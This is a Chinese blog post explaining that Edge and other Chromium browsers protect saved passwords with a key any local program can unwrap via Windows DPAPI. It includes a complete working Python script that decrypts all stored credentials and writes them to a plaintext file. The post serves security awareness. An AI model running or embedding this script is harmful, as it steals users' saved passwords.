使用Chromium内核浏览器的安全问题

2023年10月21日 0 By Majjcom

许多人为了方便,都会选择使用浏览器自带的密码储存功能。

但是,这个默认启用的“实用”的功能却存在极大的安全隐患。

以下以Microsoft Edge为例

问题

edge浏览器的密码是通过一个sqlite数据库储存的,其密码的具体内容通过aes加密。

以上还没什么大问题。

但是,在Local State这个文件里,储存着用来aes加密的密钥。

我们只需要在本地调用一个Windows DPAPI的解密函数即可直接获得密码的解密密钥,随后即可通过这个密钥直接解密获得所有储存的密码。

这个过程中,所有执行的操作不需要任何特殊的权限,唯一的要求只有在本地运行程序获取解密密钥。

着意味着,如果你的电脑中可能存在的恶意的软件可以完全不被察觉地获取浏览器储存的密码。

这个问题已经存在了很长时间,但Chromium官方已知都没有要将其修复的迹象,他们认为这是用户的问题。

这种几乎“零门槛”的偷盗密码的方式,可能早已发生在你的PC上,只是你的价值并不大而已。

详情

我们通过一段获取edge密码的示例代码来展现整个过程:

在测试前,请安装pywin32pycryptodome

import shutil
import pathlib
import base64
import json
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import os

def main():
    home_path = pathlib.Path.home()

    state_path = home_path / "AppData/Local/Microsoft/Edge/User Data/Local State"
    data_path = home_path / "AppData/Local/Microsoft/Edge/User Data/Default/Login Data"

    if not state_path.exists() and not data_path.exists():
        return

    shutil.copyfile(state_path, "./Local State.json")
    shutil.copyfile(data_path, "./Login Data.db")

    with open("./Local State.json", "r", encoding="utf_8") as f:
        data = json.load(f)
        key_raw = data["os_crypt"]["encrypted_key"]
        key = base64.b64decode(key_raw)

    master_key = win32crypt.CryptUnprotectData(key[5:], None, None, None, 0)[1]

    conn = sqlite3.connect("./Login Data.db")
    cur = conn.cursor()
    cur.execute("SELECT action_url, username_value, password_value FROM logins")
    fetched = cur.fetchall()

    write = []

    for data in fetched:
        if len(data[1]) != 0:
            iv = data[2][3:15]
            tag = data[2][-16:]
            nd = data[2][15:-16]
            aes = AES.new(master_key, AES.MODE_GCM, iv)
            pwd = aes.decrypt_and_verify(nd, tag)
            write.append("Site: {}\n".format(data[0]))
            write.append("Username: {}\n".format(data[1]))
            write.append("Password: {}\n".format(pwd.decode("utf_8")))
            write.append("---------------------\n")

    f = open("get.txt", "w")
    f.writelines(write)
    f.close()

    cur.close()
    conn.close()

    if os.path.exists("./Local State.json"):
        os.remove("./Local State.json")
    if os.path.exists("./Login Data.db"):
        os.remove("./Login Data.db")

    print("Finish...")

if __name__ == "__main__":
    main()

整个长须可以在很短的时间完成,杀毒软件没有任何反应。

如果你用了破解软件,这种代码很有可能已经被嵌入到哪些软件中。

对于python,甚至可以通过pickle代码执行漏洞来直接窃取密码。

虽然现在只知道一个密码可能并不会导致账号丢失,但着依旧是个很大的问题。